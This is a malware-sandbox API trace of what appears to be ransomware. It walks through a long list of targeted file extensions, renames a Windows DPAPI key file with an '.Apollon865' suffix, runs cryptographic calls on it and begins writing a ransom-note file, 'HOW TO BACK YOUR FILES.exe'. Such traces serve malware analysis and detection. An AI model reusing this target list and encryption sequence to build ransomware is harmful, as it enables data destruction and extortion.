	[0053.901] lstrlenW (lpString="zip") returned 3
	[0053.901] lstrcmpiW (lpString1="red", lpString2="zip") returned -1
	[0053.901] lstrlenW (lpString="tgz") returned 3
	[0053.901] lstrcmpiW (lpString1="red", lpString2="tgz") returned -1
	[0053.901] lstrlenW (lpString="vbox") returned 4
	[0053.901] lstrcmpiW (lpString1="rred", lpString2="vbox") returned -1
	[0053.901] lstrlenW (lpString="vdi") returned 3
	[0053.901] lstrcmpiW (lpString1="red", lpString2="vdi") returned -1
	[0053.901] lstrlenW (lpString="vhd") returned 3
	[0053.901] lstrcmpiW (lpString1="red", lpString2="vhd") returned -1
	[0053.901] lstrlenW (lpString="vhdx") returned 4
	[0053.901] lstrcmpiW (lpString1="rred", lpString2="vhdx") returned -1
	[0053.901] lstrlenW (lpString="avhd") returned 4
	[0053.901] lstrcmpiW (lpString1="rred", lpString2="avhd") returned 1
	[0053.901] lstrlenW (lpString="db") returned 2
	[0053.901] lstrcmpiW (lpString1="ed", lpString2="db") returned 1
	[0053.901] lstrlenW (lpString="db2") returned 3
	[0053.901] lstrcmpiW (lpString1="red", lpString2="db2") returned 1
	[0053.901] lstrlenW (lpString="db3") returned 3
	[0053.901] lstrcmpiW (lpString1="red", lpString2="db3") returned 1
	[0053.901] lstrlenW (lpString="dbf") returned 3
	[0053.901] lstrcmpiW (lpString1="red", lpString2="dbf") returned 1
	[0053.901] lstrlenW (lpString="mdf") returned 3
	[0053.901] lstrcmpiW (lpString1="red", lpString2="mdf") returned 1
	[0053.901] lstrlenW (lpString="mdb") returned 3
	[0053.901] lstrcmpiW (lpString1="red", lpString2="mdb") returned 1
	[0053.901] lstrlenW (lpString="sql") returned 3
	[0053.901] lstrcmpiW (lpString1="red", lpString2="sql") returned -1
	[0053.901] lstrlenW (lpString="sqlite") returned 6
	[0053.901] lstrcmpiW (lpString1="ferred", lpString2="sqlite") returned -1
	[0053.901] lstrlenW (lpString="sqlite3") returned 7
	[0053.901] lstrcmpiW (lpString1="eferred", lpString2="sqlite3") returned -1
	[0053.901] lstrlenW (lpString="sqlitedb") returned 8
	[0053.902] lstrcmpiW (lpString1="referred", lpString2="sqlitedb") returned -1
	[0053.902] lstrlenW (lpString="xml") returned 3
	[0053.902] lstrcmpiW (lpString1="red", lpString2="xml") returned -1
	[0053.902] lstrlenW (lpString="$er") returned 3
	[0053.902] lstrcmpiW (lpString1="red", lpString2="$er") returned 1
	[0053.902] lstrlenW (lpString="4dd") returned 3
	[0053.902] lstrcmpiW (lpString1="red", lpString2="4dd") returned 1
	[0053.902] lstrlenW (lpString="4dl") returned 3
	[0053.902] lstrcmpiW (lpString1="red", lpString2="4dl") returned 1
	[0053.902] lstrlenW (lpString="^^^") returned 3
	[0053.902] lstrcmpiW (lpString1="red", lpString2="^^^") returned 1
	[0053.902] lstrlenW (lpString="abs") returned 3
	[0053.902] lstrcmpiW (lpString1="red", lpString2="abs") returned 1
	[0053.902] lstrlenW (lpString="abx") returned 3
	[0053.902] lstrcmpiW (lpString1="red", lpString2="abx") returned 1
	[0053.902] lstrlenW (lpString="accdb") returned 5
	[0053.902] lstrcmpiW (lpString1="erred", lpString2="accdb") returned 1
	[0053.902] lstrlenW (lpString="accdc") returned 5
	[0053.902] lstrcmpiW (lpString1="erred", lpString2="accdc") returned 1
	[0053.902] lstrlenW (lpString="accde") returned 5
	[0053.902] lstrcmpiW (lpString1="erred", lpString2="accde") returned 1
	[0053.902] lstrlenW (lpString="accdr") returned 5
	[0053.902] lstrcmpiW (lpString1="erred", lpString2="accdr") returned 1
	[0053.902] lstrlenW (lpString="accdt") returned 5
	[0053.902] lstrcmpiW (lpString1="erred", lpString2="accdt") returned 1
	[0053.902] lstrlenW (lpString="accdw") returned 5
	[0053.902] lstrcmpiW (lpString1="erred", lpString2="accdw") returned 1
	[0053.902] lstrlenW (lpString="accft") returned 5
	[0053.902] lstrcmpiW (lpString1="erred", lpString2="accft") returned 1
	[0053.902] lstrlenW (lpString="adb") returned 3
	[0053.902] lstrcmpiW (lpString1="red", lpString2="adb") returned 1
	[0053.902] lstrlenW (lpString="adb") returned 3
	[0053.902] lstrcmpiW (lpString1="red", lpString2="adb") returned 1
	[0053.902] lstrlenW (lpString="ade") returned 3
	[0053.902] lstrcmpiW (lpString1="red", lpString2="ade") returned 1
	[0053.902] lstrlenW (lpString="adf") returned 3
	[0053.903] lstrcmpiW (lpString1="red", lpString2="adf") returned 1
	[0053.903] lstrlenW (lpString="adn") returned 3
	[0053.903] lstrcmpiW (lpString1="red", lpString2="adn") returned 1
	[0053.903] lstrlenW (lpString="adp") returned 3
	[0053.903] lstrcmpiW (lpString1="red", lpString2="adp") returned 1
	[0053.903] lstrlenW (lpString="alf") returned 3
	[0053.903] lstrcmpiW (lpString1="red", lpString2="alf") returned 1
	[0053.903] lstrlenW (lpString="ask") returned 3
	[0053.903] lstrcmpiW (lpString1="red", lpString2="ask") returned 1
	[0053.903] lstrlenW (lpString="btr") returned 3
	[0053.903] lstrcmpiW (lpString1="red", lpString2="btr") returned 1
	[0053.903] lstrlenW (lpString="cat") returned 3
	[0053.903] lstrcmpiW (lpString1="red", lpString2="cat") returned 1
	[0053.903] lstrlenW (lpString="cdb") returned 3
	[0053.903] lstrcmpiW (lpString1="red", lpString2="cdb") returned 1
	[0053.903] lstrlenW (lpString="ckp") returned 3
	[0053.903] lstrcmpiW (lpString1="red", lpString2="ckp") returned 1
	[0053.903] lstrlenW (lpString="cma") returned 3
	[0053.903] lstrcmpiW (lpString1="red", lpString2="cma") returned 1
	[0053.903] lstrlenW (lpString="cpd") returned 3
	[0053.903] lstrcmpiW (lpString1="red", lpString2="cpd") returned 1
	[0053.903] lstrlenW (lpString="dacpac") returned 6
	[0053.903] lstrcmpiW (lpString1="ferred", lpString2="dacpac") returned 1
	[0053.903] lstrlenW (lpString="dad") returned 3
	[0053.903] lstrcmpiW (lpString1="red", lpString2="dad") returned 1
	[0053.903] lstrlenW (lpString="dadiagrams") returned 10
	[0053.903] lstrlenW (lpString="daschema") returned 8
	[0053.903] lstrcmpiW (lpString1="referred", lpString2="daschema") returned 1
	[0053.903] lstrlenW (lpString="db-journal") returned 10
	[0053.903] lstrlenW (lpString="db-shm") returned 6
	[0053.903] lstrcmpiW (lpString1="ferred", lpString2="db-shm") returned 1
	[0053.903] lstrlenW (lpString="db-wal") returned 6
	[0053.903] lstrcmpiW (lpString1="ferred", lpString2="db-wal") returned 1
	[0053.903] lstrlenW (lpString="dbc") returned 3
	[0053.903] lstrcmpiW (lpString1="red", lpString2="dbc") returned 1
	[0053.903] lstrlenW (lpString="dbs") returned 3
	[0053.904] lstrcmpiW (lpString1="red", lpString2="dbs") returned 1
	[0053.904] lstrlenW (lpString="dbt") returned 3
	[0053.904] lstrcmpiW (lpString1="red", lpString2="dbt") returned 1
	[0053.904] lstrlenW (lpString="dbv") returned 3
	[0053.904] lstrcmpiW (lpString1="red", lpString2="dbv") returned 1
	[0053.904] lstrlenW (lpString="dbx") returned 3
	[0053.904] lstrcmpiW (lpString1="red", lpString2="dbx") returned 1
	[0053.904] lstrlenW (lpString="dcb") returned 3
	[0053.904] lstrcmpiW (lpString1="red", lpString2="dcb") returned 1
	[0053.904] lstrlenW (lpString="dct") returned 3
	[0053.904] lstrcmpiW (lpString1="red", lpString2="dct") returned 1
	[0053.904] lstrlenW (lpString="dcx") returned 3
	[0053.904] lstrcmpiW (lpString1="red", lpString2="dcx") returned 1
	[0053.904] lstrlenW (lpString="ddl") returned 3
	[0053.904] lstrcmpiW (lpString1="red", lpString2="ddl") returned 1
	[0053.904] lstrlenW (lpString="dlis") returned 4
	[0053.904] lstrcmpiW (lpString1="rred", lpString2="dlis") returned 1
	[0053.904] lstrlenW (lpString="dp1") returned 3
	[0053.904] lstrcmpiW (lpString1="red", lpString2="dp1") returned 1
	[0053.904] lstrlenW (lpString="dqy") returned 3
	[0053.904] lstrcmpiW (lpString1="red", lpString2="dqy") returned 1
	[0053.904] lstrlenW (lpString="dsk") returned 3
	[0053.904] lstrcmpiW (lpString1="red", lpString2="dsk") returned 1
	[0053.904] lstrlenW (lpString="dsn") returned 3
	[0053.904] lstrcmpiW (lpString1="red", lpString2="dsn") returned 1
	[0053.904] lstrlenW (lpString="dtsx") returned 4
	[0053.904] lstrcmpiW (lpString1="rred", lpString2="dtsx") returned 1
	[0053.904] lstrlenW (lpString="dxl") returned 3
	[0053.904] lstrcmpiW (lpString1="red", lpString2="dxl") returned 1
	[0053.904] lstrlenW (lpString="eco") returned 3
	[0053.904] lstrcmpiW (lpString1="red", lpString2="eco") returned 1
	[0053.904] lstrlenW (lpString="ecx") returned 3
	[0053.904] lstrcmpiW (lpString1="red", lpString2="ecx") returned 1
	[0053.904] lstrlenW (lpString="edb") returned 3
	[0053.904] lstrcmpiW (lpString1="red", lpString2="edb") returned 1
	[0053.905] lstrlenW (lpString="epim") returned 4
	[0053.905] lstrcmpiW (lpString1="rred", lpString2="epim") returned 1
	[0053.905] lstrlenW (lpString="fcd") returned 3
	[0053.905] lstrcmpiW (lpString1="red", lpString2="fcd") returned 1
	[0053.905] lstrlenW (lpString="fdb") returned 3
	[0053.905] lstrcmpiW (lpString1="red", lpString2="fdb") returned 1
	[0053.905] lstrlenW (lpString="fic") returned 3
	[0053.905] lstrcmpiW (lpString1="red", lpString2="fic") returned 1
	[0053.905] lstrlenW (lpString="flexolibrary") returned 12
	[0053.905] lstrlenW (lpString="fm5") returned 3
	[0053.905] lstrcmpiW (lpString1="red", lpString2="fm5") returned 1
	[0053.905] lstrlenW (lpString="fmp") returned 3
	[0053.905] lstrcmpiW (lpString1="red", lpString2="fmp") returned 1
	[0053.905] lstrlenW (lpString="fmp12") returned 5
	[0053.905] lstrcmpiW (lpString1="erred", lpString2="fmp12") returned -1
	[0053.905] lstrlenW (lpString="fmpsl") returned 5
	[0053.905] lstrcmpiW (lpString1="erred", lpString2="fmpsl") returned -1
	[0053.905] lstrlenW (lpString="fol") returned 3
	[0053.905] lstrcmpiW (lpString1="red", lpString2="fol") returned 1
	[0053.905] lstrlenW (lpString="fp3") returned 3
	[0053.905] lstrcmpiW (lpString1="red", lpString2="fp3") returned 1
	[0053.905] lstrlenW (lpString="fp4") returned 3
	[0053.905] lstrcmpiW (lpString1="red", lpString2="fp4") returned 1
	[0053.905] lstrlenW (lpString="fp5") returned 3
	[0053.905] lstrcmpiW (lpString1="red", lpString2="fp5") returned 1
	[0053.905] lstrlenW (lpString="fp7") returned 3
	[0053.905] lstrcmpiW (lpString1="red", lpString2="fp7") returned 1
	[0053.905] lstrlenW (lpString="fpt") returned 3
	[0053.905] lstrcmpiW (lpString1="red", lpString2="fpt") returned 1
	[0053.905] lstrlenW (lpString="frm") returned 3
	[0053.905] lstrcmpiW (lpString1="red", lpString2="frm") returned 1
	[0053.905] lstrlenW (lpString="gdb") returned 3
	[0053.905] lstrcmpiW (lpString1="red", lpString2="gdb") returned 1
	[0053.905] lstrlenW (lpString="gdb") returned 3
	[0053.905] lstrcmpiW (lpString1="red", lpString2="gdb") returned 1
	[0053.906] lstrlenW (lpString="grdb") returned 4
	[0053.906] lstrcmpiW (lpString1="rred", lpString2="grdb") returned 1
	[0053.906] lstrlenW (lpString="gwi") returned 3
	[0053.906] lstrcmpiW (lpString1="red", lpString2="gwi") returned 1
	[0053.906] lstrlenW (lpString="hdb") returned 3
	[0053.906] lstrcmpiW (lpString1="red", lpString2="hdb") returned 1
	[0053.906] lstrlenW (lpString="his") returned 3
	[0053.906] lstrcmpiW (lpString1="red", lpString2="his") returned 1
	[0053.906] lstrlenW (lpString="ib") returned 2
	[0053.906] lstrcmpiW (lpString1="ed", lpString2="ib") returned -1
	[0053.906] lstrlenW (lpString="idb") returned 3
	[0053.906] lstrcmpiW (lpString1="red", lpString2="idb") returned 1
	[0053.906] lstrlenW (lpString="ihx") returned 3
	[0053.906] lstrcmpiW (lpString1="red", lpString2="ihx") returned 1
	[0053.906] lstrlenW (lpString="itdb") returned 4
	[0053.906] lstrcmpiW (lpString1="rred", lpString2="itdb") returned 1
	[0053.906] lstrlenW (lpString="itw") returned 3
	[0053.906] lstrcmpiW (lpString1="red", lpString2="itw") returned 1
	[0053.906] lstrlenW (lpString="jet") returned 3
	[0053.906] lstrcmpiW (lpString1="red", lpString2="jet") returned 1
	[0053.906] lstrlenW (lpString="jtx") returned 3
	[0053.906] lstrcmpiW (lpString1="red", lpString2="jtx") returned 1
	[0053.906] lstrlenW (lpString="kdb") returned 3
	[0053.906] lstrcmpiW (lpString1="red", lpString2="kdb") returned 1
	[0053.906] lstrlenW (lpString="kexi") returned 4
	[0053.906] lstrcmpiW (lpString1="rred", lpString2="kexi") returned 1
	[0053.906] lstrlenW (lpString="kexic") returned 5
	[0053.906] lstrcmpiW (lpString1="erred", lpString2="kexic") returned -1
	[0053.906] lstrlenW (lpString="kexis") returned 5
	[0053.906] lstrcmpiW (lpString1="erred", lpString2="kexis") returned -1
	[0053.906] lstrlenW (lpString="lgc") returned 3
	[0053.906] lstrcmpiW (lpString1="red", lpString2="lgc") returned 1
	[0053.906] lstrlenW (lpString="lwx") returned 3
	[0053.906] lstrcmpiW (lpString1="red", lpString2="lwx") returned 1
	[0053.906] lstrlenW (lpString="maf") returned 3
	[0053.907] lstrcmpiW (lpString1="red", lpString2="maf") returned 1
	[0053.907] lstrlenW (lpString="maq") returned 3
	[0053.907] lstrcmpiW (lpString1="red", lpString2="maq") returned 1
	[0053.907] lstrlenW (lpString="mar") returned 3
	[0053.907] lstrcmpiW (lpString1="red", lpString2="mar") returned 1
	[0053.907] lstrlenW (lpString="marshal") returned 7
	[0053.907] lstrcmpiW (lpString1="eferred", lpString2="marshal") returned -1
	[0053.907] lstrlenW (lpString="mas") returned 3
	[0053.907] lstrcmpiW (lpString1="red", lpString2="mas") returned 1
	[0053.907] lstrlenW (lpString="mav") returned 3
	[0053.907] lstrcmpiW (lpString1="red", lpString2="mav") returned 1
	[0053.907] lstrlenW (lpString="maw") returned 3
	[0053.907] lstrcmpiW (lpString1="red", lpString2="maw") returned 1
	[0053.907] lstrlenW (lpString="mdbhtml") returned 7
	[0053.907] lstrcmpiW (lpString1="eferred", lpString2="mdbhtml") returned -1
	[0053.907] lstrlenW (lpString="mdn") returned 3
	[0053.907] lstrcmpiW (lpString1="red", lpString2="mdn") returned 1
	[0053.907] lstrlenW (lpString="mdt") returned 3
	[0053.907] lstrcmpiW (lpString1="red", lpString2="mdt") returned 1
	[0053.907] lstrlenW (lpString="mfd") returned 3
	[0053.907] lstrcmpiW (lpString1="red", lpString2="mfd") returned 1
	[0053.907] lstrlenW (lpString="mpd") returned 3
	[0053.907] lstrcmpiW (lpString1="red", lpString2="mpd") returned 1
	[0053.907] lstrlenW (lpString="mrg") returned 3
	[0053.907] lstrcmpiW (lpString1="red", lpString2="mrg") returned 1
	[0053.907] lstrlenW (lpString="mud") returned 3
	[0053.907] lstrcmpiW (lpString1="red", lpString2="mud") returned 1
	[0053.907] lstrlenW (lpString="mwb") returned 3
	[0053.907] lstrcmpiW (lpString1="red", lpString2="mwb") returned 1
	[0053.907] lstrlenW (lpString="myd") returned 3
	[0053.907] lstrcmpiW (lpString1="red", lpString2="myd") returned 1
	[0053.907] lstrlenW (lpString="ndf") returned 3
	[0053.907] lstrcmpiW (lpString1="red", lpString2="ndf") returned 1
	[0053.907] lstrlenW (lpString="nnt") returned 3
	[0053.907] lstrcmpiW (lpString1="red", lpString2="nnt") returned 1
	[0053.907] lstrlenW (lpString="nrmlib") returned 6
	[0053.908] lstrcmpiW (lpString1="ferred", lpString2="nrmlib") returned -1
	[0053.908] lstrlenW (lpString="ns2") returned 3
	[0053.908] lstrcmpiW (lpString1="red", lpString2="ns2") returned 1
	[0053.908] lstrlenW (lpString="ns3") returned 3
	[0053.908] lstrcmpiW (lpString1="red", lpString2="ns3") returned 1
	[0053.908] lstrlenW (lpString="ns4") returned 3
	[0053.908] lstrcmpiW (lpString1="red", lpString2="ns4") returned 1
	[0053.908] lstrlenW (lpString="nsf") returned 3
	[0053.908] lstrcmpiW (lpString1="red", lpString2="nsf") returned 1
	[0053.908] lstrlenW (lpString="nv") returned 2
	[0053.908] lstrcmpiW (lpString1="ed", lpString2="nv") returned -1
	[0053.908] lstrlenW (lpString="nv2") returned 3
	[0053.908] lstrcmpiW (lpString1="red", lpString2="nv2") returned 1
	[0053.908] lstrlenW (lpString="nwdb") returned 4
	[0053.908] lstrcmpiW (lpString1="rred", lpString2="nwdb") returned 1
	[0053.908] lstrlenW (lpString="nyf") returned 3
	[0053.908] lstrcmpiW (lpString1="red", lpString2="nyf") returned 1
	[0053.908] lstrlenW (lpString="odb") returned 3
	[0053.908] lstrcmpiW (lpString1="red", lpString2="odb") returned 1
	[0053.908] lstrlenW (lpString="odb") returned 3
	[0053.908] lstrcmpiW (lpString1="red", lpString2="odb") returned 1
	[0053.908] lstrlenW (lpString="oqy") returned 3
	[0053.908] lstrcmpiW (lpString1="red", lpString2="oqy") returned 1
	[0053.908] lstrlenW (lpString="ora") returned 3
	[0053.908] lstrcmpiW (lpString1="red", lpString2="ora") returned 1
	[0053.908] lstrlenW (lpString="orx") returned 3
	[0053.908] lstrcmpiW (lpString1="red", lpString2="orx") returned 1
	[0053.908] lstrlenW (lpString="owc") returned 3
	[0053.908] lstrcmpiW (lpString1="red", lpString2="owc") returned 1
	[0053.908] lstrlenW (lpString="p96") returned 3
	[0053.908] lstrcmpiW (lpString1="red", lpString2="p96") returned 1
	[0053.908] lstrlenW (lpString="p97") returned 3
	[0053.908] lstrcmpiW (lpString1="red", lpString2="p97") returned 1
	[0053.908] lstrlenW (lpString="pan") returned 3
	[0053.908] lstrcmpiW (lpString1="red", lpString2="pan") returned 1
	[0053.908] lstrlenW (lpString="pdb") returned 3
	[0053.909] lstrcmpiW (lpString1="red", lpString2="pdb") returned 1
	[0053.909] lstrlenW (lpString="pdm") returned 3
	[0053.909] lstrcmpiW (lpString1="red", lpString2="pdm") returned 1
	[0053.909] lstrlenW (lpString="pnz") returned 3
	[0053.909] lstrcmpiW (lpString1="red", lpString2="pnz") returned 1
	[0053.909] lstrlenW (lpString="qry") returned 3
	[0053.909] lstrcmpiW (lpString1="red", lpString2="qry") returned 1
	[0053.909] lstrlenW (lpString="qvd") returned 3
	[0053.909] lstrcmpiW (lpString1="red", lpString2="qvd") returned 1
	[0053.909] lstrlenW (lpString="rbf") returned 3
	[0053.909] lstrcmpiW (lpString1="red", lpString2="rbf") returned 1
	[0053.909] lstrlenW (lpString="rctd") returned 4
	[0053.909] lstrcmpiW (lpString1="rred", lpString2="rctd") returned 1
	[0053.909] lstrlenW (lpString="rod") returned 3
	[0053.909] lstrcmpiW (lpString1="red", lpString2="rod") returned -1
	[0053.909] lstrlenW (lpString="rodx") returned 4
	[0053.909] lstrcmpiW (lpString1="rred", lpString2="rodx") returned 1
	[0053.909] lstrlenW (lpString="rpd") returned 3
	[0053.909] lstrcmpiW (lpString1="red", lpString2="rpd") returned -1
	[0053.909] lstrlenW (lpString="rsd") returned 3
	[0053.909] lstrcmpiW (lpString1="red", lpString2="rsd") returned -1
	[0053.909] lstrlenW (lpString="sas7bdat") returned 8
	[0053.909] lstrcmpiW (lpString1="referred", lpString2="sas7bdat") returned -1
	[0053.909] lstrlenW (lpString="sbf") returned 3
	[0053.909] lstrcmpiW (lpString1="red", lpString2="sbf") returned -1
	[0053.909] lstrlenW (lpString="scx") returned 3
	[0053.909] lstrcmpiW (lpString1="red", lpString2="scx") returned -1
	[0053.909] lstrlenW (lpString="sdb") returned 3
	[0053.909] lstrcmpiW (lpString1="red", lpString2="sdb") returned -1
	[0053.909] lstrlenW (lpString="sdc") returned 3
	[0053.909] lstrcmpiW (lpString1="red", lpString2="sdc") returned -1
	[0053.909] lstrlenW (lpString="sdf") returned 3
	[0053.909] lstrcmpiW (lpString1="red", lpString2="sdf") returned -1
	[0053.909] lstrlenW (lpString="sis") returned 3
	[0053.909] lstrcmpiW (lpString1="red", lpString2="sis") returned -1
	[0053.910] lstrlenW (lpString="spq") returned 3
	[0053.910] lstrcmpiW (lpString1="red", lpString2="spq") returned -1
	[0053.910] lstrlenW (lpString="te") returned 2
	[0053.910] lstrcmpiW (lpString1="ed", lpString2="te") returned -1
	[0053.910] lstrlenW (lpString="teacher") returned 7
	[0053.910] lstrcmpiW (lpString1="eferred", lpString2="teacher") returned -1
	[0053.910] lstrlenW (lpString="tmd") returned 3
	[0053.910] lstrcmpiW (lpString1="red", lpString2="tmd") returned -1
	[0053.910] lstrlenW (lpString="tps") returned 3
	[0053.910] lstrcmpiW (lpString1="red", lpString2="tps") returned -1
	[0053.910] lstrlenW (lpString="trc") returned 3
	[0053.910] lstrcmpiW (lpString1="red", lpString2="trc") returned -1
	[0053.910] lstrlenW (lpString="trc") returned 3
	[0053.910] lstrcmpiW (lpString1="red", lpString2="trc") returned -1
	[0053.910] lstrlenW (lpString="trm") returned 3
	[0053.910] lstrcmpiW (lpString1="red", lpString2="trm") returned -1
	[0053.910] lstrlenW (lpString="udb") returned 3
	[0053.910] lstrcmpiW (lpString1="red", lpString2="udb") returned -1
	[0053.910] lstrlenW (lpString="udl") returned 3
	[0053.910] lstrcmpiW (lpString1="red", lpString2="udl") returned -1
	[0053.910] lstrlenW (lpString="usr") returned 3
	[0053.910] lstrcmpiW (lpString1="red", lpString2="usr") returned -1
	[0053.910] lstrlenW (lpString="v12") returned 3
	[0053.910] lstrcmpiW (lpString1="red", lpString2="v12") returned -1
	[0053.910] lstrlenW (lpString="vis") returned 3
	[0053.910] lstrcmpiW (lpString1="red", lpString2="vis") returned -1
	[0053.910] lstrlenW (lpString="vpd") returned 3
	[0053.910] lstrcmpiW (lpString1="red", lpString2="vpd") returned -1
	[0053.910] lstrlenW (lpString="vvv") returned 3
	[0053.910] lstrcmpiW (lpString1="red", lpString2="vvv") returned -1
	[0053.910] lstrlenW (lpString="wdb") returned 3
	[0053.910] lstrcmpiW (lpString1="red", lpString2="wdb") returned -1
	[0053.910] lstrlenW (lpString="wmdb") returned 4
	[0053.910] lstrcmpiW (lpString1="rred", lpString2="wmdb") returned -1
	[0053.910] lstrlenW (lpString="wrk") returned 3
	[0053.911] lstrcmpiW (lpString1="red", lpString2="wrk") returned -1
	[0053.911] lstrlenW (lpString="xdb") returned 3
	[0053.911] lstrcmpiW (lpString1="red", lpString2="xdb") returned -1
	[0053.911] lstrlenW (lpString="xld") returned 3
	[0053.911] lstrcmpiW (lpString1="red", lpString2="xld") returned -1
	[0053.911] lstrlenW (lpString="xmlff") returned 5
	[0053.911] lstrcmpiW (lpString1="erred", lpString2="xmlff") returned -1
	[0053.911] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred.Apollon865") returned 117
	[0053.911] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\preferred"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred.Apollon865" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\preferred.apollon865"), dwFlags=0x1) returned 1
	[0053.911] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred.Apollon865" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\preferred.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0053.912] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=24) returned 1
	[0053.912] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.912] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0053.912] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0053.912] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf568) returned 1
	[0053.913] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.913] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0053.913] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x320, lpName=0x0) returned 0x154
	[0053.915] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x320) returned 0x100000
	[0053.919] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf788) returned 1
	[0053.920] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.920] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0053.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0053.920] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0053.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.920] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.921] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0053.921] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.921] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0053.921] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.921] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.921] CloseHandle (hObject=0x154) returned 1
	[0053.921] CloseHandle (hObject=0xc0) returned 1
	[0053.921] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0053.921] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0053.921] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.921] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 0
	[0053.922] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0053.922] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b70
	[0053.922] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer"
	[0053.922] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0053.922] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0053.922] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned 60
	[0053.922] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer"
	[0053.922] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
